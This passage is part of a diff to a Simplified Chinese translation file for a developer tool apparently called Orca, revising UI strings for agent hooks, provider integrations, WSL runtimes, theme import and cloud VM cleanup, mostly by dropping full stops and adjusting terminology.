-          "a68a642835": "在 Orca 中显示工作中、等待中和完成状态。关闭后将移除 Orca 管理的钩子并停止重新安装。"
+          "7707c15abb": "代理状态钩子",
+          "a68a642835": "在 Orca 中显示工作中、等待中和完成状态，关闭后将移除 Orca 管理的钩子并停止重新安装"
         },
         "agent-workspace-trust-copy": {
           "title": "Orca 启动智能体时信任该文件夹",
-          "description": "Orca 启动的智能体可以跳过“Do you trust this folder?”提示，因此项目的智能体钩子和设置会立即运行。Orca 会在每个仓库中首次启动智能体时询问一次，你可以在该仓库的设置中更改回答。关闭此项可让智能体始终自行询问。在你没有看着时运行的智能体（例如编排工作进程、自动化以及从手机启动的智能体）如果发出询问，会一直等待，直到你在它的终端中作答。已信任的文件夹仍保持信任。"
+          "description": "Orca 启动的智能体可以跳过“Do you trust this folder?”提示，因此项目的智能体钩子和设置会立即运行。你可以在某个仓库的设置中为该仓库关闭此项。关闭此项可让智能体始终自行询问。在你没有看着时运行的智能体（例如编排工作进程、自动化以及从手机启动的智能体）如果发出询问，会一直等待，直到你在它的终端中作答。已信任的文件夹仍保持信任。"
         },
         "agent-generated-tab-title-copy": {
           "19ad21615a": "自动生成标签页标题",
-          "b036c7a409": "根据第一个已知智能体提示词生成简短稳定的标签页名称。手动重命名始终优先。"
+          "b036c7a409": "根据第一个已知代理提示词生成简短稳定的标签页名称，手动重命名始终优先"
+        },
+        "keep": {
+          "local": {
+            "main": {
+              "up": {
+                "to": {
+                  "date": {
+                    "setting": {
+                      "f4c23aee76": "保持本地 main 最新"
+                    }
+                  }
+                }
+              }
+            }
+          }
         },
         "WarpThemeImportModal": {
           "title": "从 Warp 导入",
-          "description": "将 Warp 主题导入为 Orca 终端主题。",
+          "description": "将 Warp 主题导入为 Orca 终端主题",
           "yaml_title": "导入主题 YAML",
-          "yaml_description": "将主题 YAML 文件（Warp 格式）导入为 Orca 终端主题。",
-          "yaml_no_themes_found": "所选文件中未找到主题。",
+          "yaml_description": "将主题 YAML 文件(Warp 格式)导入为 Orca 终端主题",
+          "yaml_no_themes_found": "所选文件中未找到主题",
           "loading": "正在加载 Warp 主题...",
           "found_theme_one": "找到 {{value0}} 个主题",
           "found_theme_other": "找到 {{value0}} 个主题",
@@ -10646,12 +10954,12 @@
           "clear_all": "全部清除",
           "select_all": "全选",
           "colors_only": "仅颜色",
-          "no_themes_found": "未找到自定义 Warp 主题。",
-          "builtin_themes_hint": "Warp 的预装主题是 Warp 应用的一部分，无法从磁盘读取。Orca 已包含其中大多数，如 Dracula、Gruvbox、Solarized 和 Tokyo Night。",
-          "custom_theme_yaml_hint": "自定义和社区主题必须以 YAML 文件形式存在于 Warp themes 文件夹中，自动导入才能发现它们。如果你克隆了 Warp 的公开主题仓库，请使用 Choose Folder 导入该仓库副本。",
-          "choose_manually": "选择主题 YAML 文件或文件夹以手动导入。",
+          "no_themes_found": "未找到自定义 Warp 主题",
+          "builtin_themes_hint": "Warp 的预装主题是 Warp 应用的一部分，无法从磁盘读取，Orca 已包含其中大多数，如 Dracula、Gruvbox、Solarized 和 Tokyo Night",
+          "custom_theme_yaml_hint": "自定义和社区主题必须以 YAML 文件形式存在于 Warp 主题文件夹中，自动导入才能发现它们，如果您克隆了 Warp 的公开主题仓库，请使用“选择文件夹”导入该仓库副本",
+          "choose_manually": "选择主题 YAML 文件或文件夹以手动导入",
           "skipped_files": "已跳过文件",
-          "more_skipped_files": "还有 {{value0}} 个已跳过的文件。",
+          "more_skipped_files": "还有 {{value0}} 个已跳过的文件",
           "cancel": "取消",
           "import_theme_one": "导入 {{value0}} 个主题",
           "import_theme_other": "导入 {{value0}} 个主题",
@@ -10664,8 +10972,8 @@
           "imported_one": "已导入 {{value0}} 个主题",
           "imported_other": "已导入 {{value0}} 个主题",
           "import_failed": "导入主题失败",
-          "over_limit_one": "导入这些主题会超出 {{value0}} 个自定义终端主题的上限。请取消选择 {{value1}} 个新主题后重试。",
-          "over_limit_other": "导入这些主题会超出 {{value0}} 个自定义终端主题的上限。请取消选择 {{value1}} 个新主题后重试。"
+          "over_limit_one": "导入这些主题会超出 {{value0}} 个自定义终端主题的上限。请取消选择 {{value1}} 个新主题后重试",
+          "over_limit_other": "导入这些主题会超出 {{value0}} 个自定义终端主题的上限，请取消选择 {{value1}} 个新主题后重试"
         },
         "YamlThemeImportButton": {
           "label": "从 YAML 导入"
@@ -10678,25 +10986,25 @@
                   "d5b3be8ecd": "重新检查",
                   "8cbc39f862": "了解更多",
                   "707180d09c": "glab auth login",
-                  "4be0616873": "GitLab CLI 已安装但未通过身份验证。请在终端中运行此命令：",
+                  "4be0616873": "GitLab CLI 已安装但未通过身份验证，请在终端中运行此命令：",
                   "54a640af7a": "安装 GitLab CLI",
-                  "b56fd5676a": "安装 GitLab CLI 以启用合并请求、议题和流水线。",
-                  "faddeb763d": "此运行时暂不支持 GitLab CLI 状态。",
-                  "a47f71e357": "CLI。",
+                  "b56fd5676a": "安装 GitLab CLI 以启用合并请求、议题和流水线",
+                  "faddeb763d": "此运行时暂不支持 GitLab CLI 状态",
+                  "a47f71e357": "CLI",
                   "2a6b359e75": "glab",
                   "1f2b347bd3": "通过",
                   "8d90249d22": "gh auth login",
-                  "2e44dda68a": "GitHub CLI 已安装但未通过身份验证。请在终端中运行此命令：",
+                  "2e44dda68a": "GitHub CLI 已安装但未通过身份验证，请在终端中运行此命令：",
                   "7755c28af5": "安装 GitHub CLI",
-                  "23cb5a0dee": "安装 GitHub CLI 以启用拉取请求、议题和检查。",
-                  "6f30fc4216": "此运行时暂不支持 GitHub CLI 状态。",
+                  "23cb5a0dee": "安装 GitHub CLI 以启用拉取请求、议题和检查",
+                  "6f30fc4216": "此运行时暂不支持 GitHub CLI 状态",
                   "6b2cfb52b4": "gh",
                   "b4d900e7f1": "通过",
                   "account_scope_prefix": "账户范围",
                   "statusConnected": "已连接",
                   "statusUnavailable": "不可用",
                   "statusNotInstalled": "未安装",
-                  "statusNotAuthenticated": "未经过验证"
+                  "statusNotAuthenticated": "未通过身份验证"
                 }
               }
             }
@@ -10708,25 +11016,25 @@
               "cards": {
                 "c90f2ef419": "重新检查",
                 "dd3529015d": "断开 {{value0}}",
-                "8b2408a8e5": "此运行时已连接 Jira。如果已连接的站点列表看起来过期，请重新检查。",
-                "8c20e76308": "每个已连接的 Jira 站点都由活动运行时存储一个 token。",
+                "8b2408a8e5": "此运行时已连接 Jira，如果已连接的站点列表看起来过期，请重新检查",
+                "8c20e76308": "每个已连接的 Jira 站点都由活动运行时存储一个 Token",
                 "c24e56c532": "测试",
                 "3e7c10d286": "测试中...",
                 "a2c0015fb8": "已验证",
                 "e2ff968276": "连接 Jira",
                 "60996beda6": "添加 Jira 站点",
-                "7ca5ffffdb": "从 Jira Cloud 议题浏览、创建并开始工作。",
-                "a1093a06c7": "在显示设置操作前正在检查 Jira 访问权限。",
-                "cef18762a2": "用 Linear 设置里的个人 API 密钥添加访问权限。完全访问密钥可看到密钥所有者能访问的所有团队。",
-                "6224fe9d34": "每个已连接的 Linear 工作区都有一个由活动运行时存储的密钥。全权限密钥可覆盖密钥所有者可访问的所有团队；受限密钥可随时更换。",
+                "7ca5ffffdb": "从 Jira Cloud 议题浏览、创建并开始工作",
+                "a1093a06c7": "在显示设置操作前正在检查 Jira 访问权限",
+                "cef18762a2": "用 Linear 设置里的个人 API 密钥添加访问权限，完全访问密钥可看到密钥所有者能访问的所有团队",
+                "6224fe9d34": "每个已连接的 Linear 工作区都有一个由活动运行时存储的密钥，全权限密钥可覆盖密钥所有者可访问的所有团队，受限密钥可随时更换",
                 "1a12e33fe5": "添加 Linear 访问",
                 "622c224082": "添加工作区访问权限",
-                "eae4a9f16b": "添加 Linear 访问以浏览和链接议题。",
-                "fe9231215b": "在显示设置操作前正在检查 Linear 访问权限。",
+                "eae4a9f16b": "添加 Linear 访问以浏览和链接议题",
+                "fe9231215b": "在显示设置操作前正在检查 Linear 访问权限",
                 "disconnect_all": "断开连接",
                 "account_scope_prefix": "账户范围",
-                "2d60ec7921": "使用 API token 连接 Jira Cloud 站点，或使用个人访问令牌或用户名和密码连接自托管 Jira。凭据会发送到所选远程运行时并以运行时支持的加密方式存储。",
-                "977e360b71": "使用 API token 连接 Jira Cloud 站点，或使用个人访问令牌或用户名和密码连接自托管 Jira。凭据存储在本地，本地运行时存储支持时会进行加密。",
+                "2d60ec7921": "使用 API Token 连接 Jira Cloud 站点，或使用个人访问令牌或用户名和密码连接自托管 Jira，凭据会发送到所选远程运行时并以运行时支持的加密方式存储",
+                "977e360b71": "使用 API Token 连接 Jira Cloud 站点，或使用个人访问令牌或用户名和密码连接自托管 Jira，凭据存储在本地，本地运行时存储支持时会进行加密",
                 "statusConnected": "已连接",
                 "statusNotConnected": "未连接",
                 "linearTokenName": "您的 Linear API 令牌",
@@ -10745,35 +11053,35 @@
                 "cards": {
                   "793a06e899": "重新检查",
                   "1a9475dace": "了解更多",
-                  "19fb419c12": "Gitea 凭据已配置但无法通过身份验证。请检查 token、API 基础 URL 和仓库权限；如果环境变量已更改，请重启 Orca。",
-                  "60708f23da": "仅当 Orca 无法从 remote 推导出 API URL 时。",
+                  "19fb419c12": "Gitea 凭据已配置但无法通过身份验证，请检查 token、API 基础 URL 和仓库权限，如果环境变量已更改，请重启 Orca",
+                  "60708f23da": "仅在 Orca 无法从 Git 远程地址推导出 API URL 时才需要设置",
                   "709057ad91": "ORCA_GITEA_API_BASE_URL",
-                  "6da9dfa5de": "用于私有仓库，并设置",
+                  "6da9dfa5de": "用于私有仓库",
                   "6d5c2a3005": "ORCA_GITEA_TOKEN",
-                  "fcbe0469fd": "公开仓库会从其 git remote 检测。设置",
-                  "0613928cb3": "此运行时暂不支持 Gitea 状态。",
-                  "05863d2599": "通过 Gitea REST API 获取 pull request 和 commit 状态。",
-                  "52f75876be": "已检测仓库的 pull request 和 commit 状态",
+                  "fcbe0469fd": "公开仓库会根据 Git 远程地址自动检测，请设置",
+                  "0613928cb3": "此运行时暂不支持 Gitea 状态",
+                  "05863d2599": "通过 Gitea REST API 获取拉取请求和提交状态",
+                  "52f75876be": "已检测仓库的拉取请求和提交状态",
                   "0b5242f8a2": "{{value0}} · 拉取请求和提交状态",
-                  "40f678df73": "Azure DevOps 凭据已配置但无法通过身份验证。请检查 token、API 基础 URL 和仓库权限；如果环境变量已更改，请重启 Orca。",
-                  "7bd345e3f6": "仅当 Orca 无法从 git remote 推导出 API 基础 URL 时。",
+                  "40f678df73": "Azure DevOps 凭据已配置但无法通过身份验证，请检查 token、API 基础 URL 和仓库权限，如果环境变量已更改，请重启 Orca",
+                  "7bd345e3f6": "仅在 Orca 无法从 Git 远程地址推导出 API 基础 URL 时才需要设置",
                   "186a6689df": "ORCA_AZURE_DEVOPS_API_BASE_URL",
-                  "b8a10b07c1": "。设置",
+                  "b8a10b07c1": "，并设置",
                   "fbfd237f5e": "ORCA_AZURE_DEVOPS_ACCESS_TOKEN",
                   "087feb92f1": "，或设置",
                   "48842720d2": "ORCA_AZURE_DEVOPS_TOKEN",
                   "7bbc9c64f0": "设置",
-                  "f3f47dc7de": "此运行时暂不支持 Azure DevOps 状态。",
-                  "0eb50d5593": "通过 Azure DevOps REST API token 获取 pull request 和构建状态。",
-                  "54636c65d4": "已检测 Azure Repos 的 pull request 和构建状态",
+                  "f3f47dc7de": "此运行时暂不支持 Azure DevOps 状态",
+                  "0eb50d5593": "通过 Azure DevOps REST API 令牌获取拉取请求和构建状态",
+                  "54636c65d4": "已检测 Azure Repos 的拉取请求和构建状态",
                   "ea204f5e03": "{{value0}} · 拉取请求和构建状态",
-                  "6154b02093": "Bitbucket 凭据已配置但无法通过身份验证。请检查 token 和仓库权限；如果环境变量已更改，请重启 Orca。",
-                  "24ac1c69dc": "此运行时暂不支持 Bitbucket 状态。",
-                  "0fa5629dad": "pull request 和构建状态",
+                  "6154b02093": "Bitbucket 凭据已配置但无法通过身份验证，请检查 Token 和仓库权限，如果环境变量已更改，请重启 Orca",
+                  "24ac1c69dc": "此运行时暂不支持 Bitbucket 状态",
+                  "0fa5629dad": "拉取请求和构建状态",
                   "statusConnected": "已连接",
                   "statusUnavailable": "不可用",
                   "statusNotConfigured": "未配置",
-                  "statusAuthFailed": "验证失败",
+                  "statusAuthFailed": "身份验证失败",
                   "statusConfigured": "已配置",
                   "statusOptionalSetup": "可选设置"
                 }
@@ -10782,15 +11090,15 @@
           }
         },
         "computerUseSummary": {
-          "permissionsRequired_one": "在智能体可操作应用窗口前需要 {{value0}} 项权限。",
-          "permissionsRequired_other": "在智能体可操作应用窗口前需要 {{value0}} 项权限。",
-          "checkingTitle": "正在检查计算机控制访问权限。",
-          "checkingDescription": "Orca 正在检查计算机控制助手的 macOS 隐私权限。",
-          "unavailableTitle": "计算机控制不可用。",
-          "unavailableDescription": "Computer Use 权限不可用，因为 {{value0}}。",
-          "readyTitle": "计算机控制已就绪。",
-          "readyDescription": "当你要求时，智能体可以检查并操作应用窗口。",
-          "permissionsTitle": "完成设置以使用本地应用。"
+          "permissionsRequired_one": "在智能体可操作应用窗口前需要 {{value0}} 项权限",
+          "permissionsRequired_other": "在代理可操作应用窗口前需要 {{value0}} 项权限",
+          "checkingTitle": "正在检查计算机控制访问权限",
+          "checkingDescription": "Orca 正在检查计算机控制助手的 macOS 隐私权限",
+          "unavailableTitle": "计算机控制不可用",
+          "unavailableDescription": "计算机控制权限不可用，因为 {{value0}}",
+          "readyTitle": "计算机控制已就绪",
+          "readyDescription": "当你要求时，代理可以检查并操作应用窗口",
+          "permissionsTitle": "完成设置以使用本地应用"
         },
         "WorkspaceDirectorySetting": {
           "1a2b3c4d5e": "客户端默认值",
@@ -10798,7 +11106,7 @@
           "3c4d5e6f7a": "覆盖客户端默认值",
           "4d5e6f7a8b": "继承客户端默认值",
           "5e6f7a8b9c": "重置",
-          "6f7a8b9cad": "使用相对路径（例如 .orca/worktrees）可让每个项目使用各自的位置，使用绝对路径则所有项目共用一个文件夹。"
+          "6f7a8b9cad": "使用相对路径(例如 .orca/worktrees)可让每个项目使用各自的位置，使用绝对路径则所有项目共用一个文件夹"
         },
         "ProviderHostScopeControl": {
           "scope_label": "{{value0}}：{{value1}}",
@@ -10806,42 +11114,42 @@
         },
         "providerAccountScope": {
           "remoteServer": "远程服务器：{{value0}}",
-          "remoteServerRateLimit": "{{value0}} API 额度从这台远程服务器上的 CLI 获取。要查看其他主机的额度，请在“设置”顶部的主机菜单中选择。",
-          "localRateLimit": "{{value0}} API 额度从这台桌面客户端上的 CLI 获取。要查看服务器的额度，请在“设置”顶部的主机菜单中选择。",
-          "remoteServerCredentialsNewProjects": "此提供商的凭据和账户检查由此远程服务器负责。若要使用其他主机，请更改 设置 > 远程 Orca 服务器 > 新项目打开位置。",
-          "localCredentialsNewProjects": "此提供商的凭据和账户检查由此桌面客户端负责。若要使用服务器，请更改 设置 > 远程 Orca 服务器 > 新项目打开位置。"
+          "remoteServerRateLimit": "{{value0}} API 额度从这台远程服务器上的 CLI 获取，要查看其他主机的额度，请在“设置”顶部的主机菜单中选择",
+          "localRateLimit": "{{value0}} API 额度从这台桌面客户端上的 CLI 获取，要查看服务器的额度，请在“设置”顶部的主机菜单中选择",
+          "remoteServerCredentialsNewProjects": "此提供商的凭据和账户检查由此远程服务器负责，若要使用其他主机，请更改 设置 > 远程 Orca 服务器 > 新项目打开位置",
+          "localCredentialsNewProjects": "此提供商的凭据和账户检查由此桌面客户端负责，若要使用服务器，请更改 设置 > 远程 Orca 服务器 > 新项目打开位置"
         },
         "settingOwnership": {
           "clientDefault": "客户端默认",
-          "sourceControlAiDefaults": "方案、提示和托管评审默认值由此客户端共享；模型选择和发现则限定在智能体运行的主机内。",
+          "sourceControlAiDefaults": "方案、提示和托管评审默认值由此客户端共享，模型选择和发现则限定在代理运行的主机内",
           "projectOnThisHost": "此主机上的项目",
-          "repositorySourceControlAi": "这些覆盖项应用于此项目设置，并继承客户端的源代码管理 AI 默认值，直至自定义。",
-          "agentLaunchDefaults": "默认智能体、命令覆盖、CLI 参数和启动环境保存在所选主机上。",
+          "repositorySourceControlAi": "这些覆盖项应用于此项目设置，并继承客户端的源代码管理 AI 默认值，直至自定义",
+          "agentLaunchDefaults": "默认代理、命令覆盖、CLI 参数和启动环境保存在所选主机上",
           "hostOverride": "主机覆盖",
-          "workspaceDirectory": "在主机需要自己的工作树目录之前，继承客户端默认值。",
+          "workspaceDirectory": "在主机需要自己的工作树目录之前，继承客户端默认值",
           "providerHost": "提供商主机",
-          "providerAccounts": "凭据和账户检查归属于本地客户端或拥有该提供商集成的所选远程服务器。",
-          "hostCollectionProjectScopes": "主机集合+项目范围",
-          "terminalQuickCommandHostCollections": "命令保存在选定的 Orca 主机上，然后全局范围或项目设置范围内。来自该设备的命令在远程工作区中仍然可用。"
+          "providerAccounts": "凭据和账户检查归属于本地客户端或拥有该提供商集成的所选远程服务器",
+          "hostCollectionProjectScopes": "主机集合 + 项目范围",
+          "terminalQuickCommandHostCollections": "命令保存在所选主机上，再按全局或项目划分，本机命令在远程工作区仍可用"
         },
         "RepositoryForkSyncSection": {
           "defaultBranch": "默认分支",
           "synced": "Fork 已更新",
-          "syncedDescriptionSingular": "已将 {{branch}} 快进 1 个提交。",
-          "syncedDescriptionPlural": "已将 {{branch}} 快进 {{count}} 个提交。",
+          "syncedDescriptionSingular": "已将 {{branch}} 快进 1 个提交",
+          "syncedDescriptionPlural": "已将 {{branch}} 快进 {{count}} 个提交",
           "upToDate": "Fork 已是最新",
-          "upToDateDescription": "{{branch}} 已与 upstream 一致。",
-          "missingOrigin": "缺少 origin 远程。",
-          "missingUpstream": "缺少 upstream 远程。",
-          "upstreamMismatch": "upstream 远程不再匹配此 Fork。",
-          "missingUpstreamBranch": "无法解析 upstream 默认分支。",
-          "missingOriginBranch": "origin 没有 upstream 默认分支。",
-          "diverged": "origin 有 upstream 中不存在的提交。",
+          "upToDateDescription": "{{branch}} 已与 upstream 一致",
+          "missingOrigin": "缺少 origin 远程",
+          "missingUpstream": "缺少 upstream 远程",
+          "upstreamMismatch": "upstream 远程不再匹配此 Fork",
+          "missingUpstreamBranch": "无法解析 upstream 默认分支",
+          "missingOriginBranch": "origin 没有 upstream 默认分支",
+          "diverged": "origin 有 upstream 中不存在的提交",
           "blocked": "已跳过 Fork 同步",
-          "blockedFallback": "Orca 无法安全地快进此 Fork。",
+          "blockedFallback": "Orca 无法安全地快进此 Fork",
           "failed": "Fork 同步失败",
-          "description": "从 upstream 安全地快进此 Fork。",
-          "longDescription": "当此 Fork 落后于 upstream 时，Orca 可以安全地快进其默认分支。如果该分支有仅本地提交或冲突，Orca 会跳过更新。",
+          "description": "从 upstream 安全地快进此 Fork",
+          "longDescription": "当此 Fork 落后于 upstream 时，Orca 可以安全地快进其默认分支，如果该分支有仅本地提交或冲突，Orca 会跳过更新",
           "forkOf": "{{owner}}/{{repo}} 的 Fork",
           "syncing": "同步中",
           "modeLabel": "Fork 同步模式",
@@ -10856,10 +11164,10 @@
           "windows": "Windows",
           "wsl": "WSL",
           "selectDistro": "选择发行版",
-          "windowsDescription": "除非项目覆盖，否则项目继承 Windows。",
-          "wslUnavailable": "WSL 不可用。继承 WSL 的项目需要修复。",
-          "distroRequired": "在项目可继承 WSL 之前，请选择一个 WSL 发行版。",
-          "wslDescription": "除非项目覆盖，否则项目通过 WSL 继承 {{value0}}。"
+          "windowsDescription": "除非项目覆盖，否则项目继承 Windows",
+          "wslUnavailable": "WSL 不可用，继承 WSL 的项目需要修复",
+          "distroRequired": "在项目可继承 WSL 之前，请选择一个 WSL 发行版",
+          "wslDescription": "除非项目覆盖，否则项目通过 WSL 继承 {{value0}}"
         },
         "ProjectWindowsRuntimeSetting": {
           "projectRuntime": "项目运行时",
@@ -10867,33 +11175,33 @@
           "windows": "Windows",
           "wsl": "WSL",
           "selectDistro": "选择发行版",
-          "runtimeChangeHelp": "运行时更改应用于此项目的新终端、智能体检查和技能发现。已有终端保留其当前运行时。",
-          "wslUnavailable": "WSL 不可用。请将此项目切换到 Windows 或修复 WSL。",
-          "distroMissing": "WSL 中未安装 {{value0}}。请选择已安装的发行版，或将此项目切换到 Windows。",
-          "distroRequired": "选择一个 WSL 发行版，或将此项目切换到 Windows。",
-          "inheritedWsl": "无项目覆盖。通用设置通过 WSL 选择 {{value0}}。",
-          "projectWsl": "此项目通过 WSL 运行在 {{value0}} 中。",
-          "inheritedWindows": "无项目覆盖。通用设置选择 Windows。",
-          "projectWindows": "此项目运行在 Windows 上。",
+          "runtimeChangeHelp": "运行时更改应用于此项目的新终端、代理检查和技能发现，已有终端保留其当前运行时",
+          "wslUnavailable": "WSL 不可用，请将此项目切换到 Windows 或修复 WSL",
+          "distroMissing": "WSL 中未安装 {{value0}}，请选择已安装的发行版，或将此项目切换到 Windows",
+          "distroRequired": "选择一个 WSL 发行版，或将此项目切换到 Windows",
+          "inheritedWsl": "无项目覆盖，通用设置通过 WSL 选择 {{value0}}",
+          "projectWsl": "此项目通过 WSL 运行在 {{value0}} 中",
+          "inheritedWindows": "无项目覆盖，通用设置选择 Windows",
+          "projectWindows": "此项目运行在 Windows 上",
           "liveTerminalSingular": "{{count}} 个正在运行的终端",
           "liveTerminalPlural": "{{count}} 个正在运行的终端",
           "activeTaskSingular": "{{count}} 个活动任务",
           "activeTaskPlural": "{{count}} 个活动任务",
           "runtimeSessionJoin": "{{value0}}和{{value1}}",
-          "runtimeSessionWarning": "{{value0}}会继续在当前运行时中运行。继续前请等待任务完成或重启终端。",
-          "pendingRuntimeChange": "运行时更改待处理。应用后，新项目工作将使用所选运行时。",
+          "runtimeSessionWarning": "{{value0}}会继续在当前运行时中运行，继续前请等待任务完成或重启终端",
+          "pendingRuntimeChange": "运行时更改待处理，应用后，新项目工作将使用所选运行时",
           "cancel": "取消",
           "applyRuntimeChange": "应用运行时更改"
         },
         "PrivacyDiagnosticsRows": {
-          "5a7cbe069a": "已设置 DO_NOT_TRACK=1，创建和发送诊断文件已停用。",
-          "63d03261d1": "已设置 ORCA_TELEMETRY_DISABLED=1，创建和发送诊断文件已停用。",
-          "d37e92a06b": "已设置 ORCA_DIAGNOSTICS_DISABLED=1，应用诊断已关闭。",
-          "5ebb31e1fb": "正在 CI 中运行，诊断已关闭。",
-          "e27c8d45bf": "诊断已被环境变量停用。"
+          "5a7cbe069a": "已设置 DO_NOT_TRACK=1，创建和发送诊断文件已停用",
+          "63d03261d1": "已设置 ORCA_TELEMETRY_DISABLED=1，创建和发送诊断文件已停用",
+          "d37e92a06b": "已设置 ORCA_DIAGNOSTICS_DISABLED=1，应用诊断已关闭",
+          "5ebb31e1fb": "正在 CI 中运行，诊断已关闭",
+          "e27c8d45bf": "诊断已被环境变量停用"
         },
         "ShortcutCommandBlock": {
-          "eb72c52c28": "按下快捷键，或双击修饰键（例如 {{value0}}）。Esc 取消。",
+          "eb72c52c28": "按下快捷键，或双击修饰键(例如 {{value0}})，Esc 取消",
           "70b5d25583": "{{value0}} 快捷键",
           "287e07ddde": "已修改",
           "3c83cd7d1c": "已禁用",
@@ -10909,7 +11217,7 @@
           "01481b964c": "为 {{value0}} 添加快捷键"
         },
         "ShortcutRecorderButton": {
-          "1a13bb054d": "为 {{value0}} 按下快捷键。Esc 取消。",
+          "1a13bb054d": "为 {{value0}} 按下快捷键，Esc 取消",
           "3732775d74": "为 {{value0}} 添加快捷键",
           "88764af2c1": "更改 {{value0}} 的快捷键",
           "30feb099d6": "更改 {{value2}} 的第 {{value0}}/{{value1}} 个快捷键",
@@ -10923,31 +11231,31 @@
           "2a9588b1c2": "移除此绑定"
         },
         "BrowserLocalhostWorktreeLabelsSetting": {
-          "1db3c8b983": "将工作区端口作为工作树专属的 Orca localhost URL 打开，便于区分浏览器标签页。",
+          "1db3c8b983": "将工作区端口打开为特定于工作区的 Orca localhost URL，便于区分浏览器标签页",
           "1af20fbf51": "localhost 工作树标签"
         },
         "AgentRuntimeSetting": {
-          "label": "智能体运行时",
+          "label": "代理运行时",
           "wsl": "WSL",
           "loadingWsl": "正在加载 WSL",
           "selectDistro": "选择发行版",
-          "windowsDescription": "对于未覆盖运行时的项目，在 Windows 上检测并启动智能体。",
-          "wslUnavailable": "此机器上不可用 WSL。",
-          "distroRequired": "项目继承 WSL 前，请先选择一个 WSL 发行版。",
-          "wslDescription": "对于未覆盖运行时的项目，通过 WSL 在 {{value0}} 中检测并启动智能体。"
+          "windowsDescription": "对于未覆盖运行时的项目，在 Windows 上检测并启动代理",
+          "wslUnavailable": "此机器上不可用 WSL",
+          "distroRequired": "项目继承 WSL 前，请先选择一个 WSL 发行版",
+          "wslDescription": "对于未覆盖运行时的项目，通过 WSL 在 {{value0}} 中检测并启动代理"
         },
         "MobileEmulatorSdkStatus": {
           "027cbf668a": "Android SDK",
           "f6d080d128": "正在使用配置的路径",
           "7fe4bd5907": "检测位置",
-          "2784f0b22d": "未找到。请安装 Android Studio，然后创建虚拟设备。",
+          "2784f0b22d": "未找到，请安装 Android Studio，然后创建虚拟设备",
           "b94ff260e6": "下载 Android Studio",
           "18925b082d": "定位 SDK 文件夹",
           "8c52684db8": "清除",
           "76eb88b88e": "iOS 模拟器 (Xcode)",
-          "c6f3ea4f12": "已就绪",
-          "e4f14b50d7": "请安装 Xcode 并添加 iOS 模拟器运行时。",
-          "63fe73a1ea": "无法更新 Android SDK 文件夹。"
+          "c6f3ea4f12": "就绪",
+          "e4f14b50d7": "请安装 Xcode 并添加 iOS 模拟器运行时",
+          "63fe73a1ea": "无法更新 Android SDK 文件夹"
         },
         "AppearanceAdvancedDisclosure": {
           "advanced": "高级"
@@ -10961,34 +11269,34 @@
           "branchHasChanges": "分支有更改",
           "viewChangesClicked": "查看更改已点击",
           "forceDeleteClicked": "强制删除已点击",
-          "devOnlyCallback": "仅开发回调。",
+          "devOnlyCallback": "仅开发回调",
           "infoToast": "信息提示",
-          "infoToastDescription": "无明确操作的长信息文案。",
+          "infoToastDescription": "无明确操作的长信息文案",
           "localCanaryBehind": "本地 canary 落后于 origin/canary",
           "successToast": "成功提示",
-          "successToastDescription": "简短的确认状态。",
+          "successToastDescription": "简短的确认状态",
           "settingsSaved": "设置已保存",
-          "shortSuccessCopy": "简短的成功文案。",
+          "shortSuccessCopy": "简短的成功文案",
           "errorToast": "错误提示",
-          "errorToastDescription": "无恢复操作的详细错误文案。",
+          "errorToastDescription": "无恢复操作的详细错误文案",
           "failedToSyncWorkspaceMetadata": "同步工作区元数据失败",
           "nativeActionToast": "原生操作提示",
-          "nativeActionToastDescription": "使用 Sonner 的操作和取消插槽。",
+          "nativeActionToastDescription": "使用 Sonner 的操作和取消插槽",
           "deleteFailureToast": "删除失败提示",
-          "deleteFailureToastDescription": "包含查看和强制删除的自定义底部区域。",
+          "deleteFailureToastDescription": "包含查看和强制删除的自定义底部区域",
           "behindBaseRefToast": "落后于基础分支提示",
-          "behindBaseRefToastDescription": "带有内联设置链接和底部操作按钮的持久提示。",
+          "behindBaseRefToastDescription": "带有内联设置链接和底部操作按钮的持久提示",
           "notificationPlayground": "通知测试面板",
-          "notificationPlaygroundDescription": "用于检查提示布局、恢复操作和长文案换行的开发触发器。",
+          "notificationPlaygroundDescription": "用于检查提示布局、恢复操作和长文案换行的开发触发器",
           "devOnly": "仅开发",
           "orcaCloud": "Orca Cloud",
-          "orcaCloudDescription": "仅限开发环境的第一方云登录预览。在生产环境中隐藏；在开发环境中，设置 ORCA_CLOUD_API_URL 和 ORCA_CLOUD_CLIENT_ID 后也会出现在侧边栏账户切换器中。",
+          "orcaCloudDescription": "开发环境云登录预览(生产隐藏)，配置 ORCA_CLOUD_API_URL 与 ORCA_CLOUD_CLIENT_ID 后可出现在账户切换器",
           "orcaCloudStatus": "状态",
           "orcaCloudSignOut": "退出登录",
           "orcaCloudConnect": "连接配置文件",
           "orcaCloudRefresh": "刷新状态",
-          "orcaCloudNotConfigured": "设置 ORCA_CLOUD_API_URL 和 ORCA_CLOUD_CLIENT_ID 以在此开发版本中预览 Orca Cloud 登录。",
-          "deleteAnywayClicked": "仍然删除点击"
+          "orcaCloudNotConfigured": "设置 ORCA_CLOUD_API_URL 和 ORCA_CLOUD_CLIENT_ID 以在此开发版本中预览 Orca Cloud 登录",
+          "deleteAnywayClicked": "已点击“仍然删除”"
         },
         "EphemeralVmRecipeRow": {
           "useInWorkspace": "在工作区中使用"
@@ -10999,66 +11307,66 @@
           "cleanupDisabled": "清理已禁用",
           "running": "运行中",
           "failed": "失败",
-          "copiedCleanupCommand": "已复制清理命令。",
-          "copiedCleanupPayload": "已复制清理载荷。",
-          "copyCleanupFailed": "无法复制清理命令。",
+          "copiedCleanupCommand": "已复制清理命令",
+          "copiedCleanupPayload": "已复制清理载荷",
+          "copyCleanupFailed": "无法复制清理命令",
           "copyCleanup": "复制命令",
           "retry": "重试清理",
           "cleanup": "清理",
-          "cloudVmLoadFailed": "无法加载云虚拟机运行时。",
-          "cloudVmCleanupFailedToast": "无法清理云虚拟机运行时。",
-          "cloudVmMarkedCleaned": "已将云虚拟机运行时标记为已清理。",
-          "cloudVmCleaned": "已清理云虚拟机运行时。",
+          "cloudVmLoadFailed": "无法加载云虚拟机运行时",
+          "cloudVmCleanupFailedToast": "无法清理云虚拟机运行时",
+          "cloudVmMarkedCleaned": "已将云虚拟机运行时标记为已清理",
+          "cloudVmCleaned": "已清理云虚拟机运行时",
           "cloudVmRefresh": "刷新云虚拟机运行时",
-          "stoppingCleanup": "停止…",
+          "stoppingCleanup": "正在停止…",
           "stopCleanup": "停止清理",
           "cleanupStopped": "清理已停止",
-          "stopCleanupFailed": "无法停止云虚拟机清理。",
+          "stopCleanupFailed": "无法停止云虚拟机清理",
           "cca21fb369": "刷新 Cloud VM"
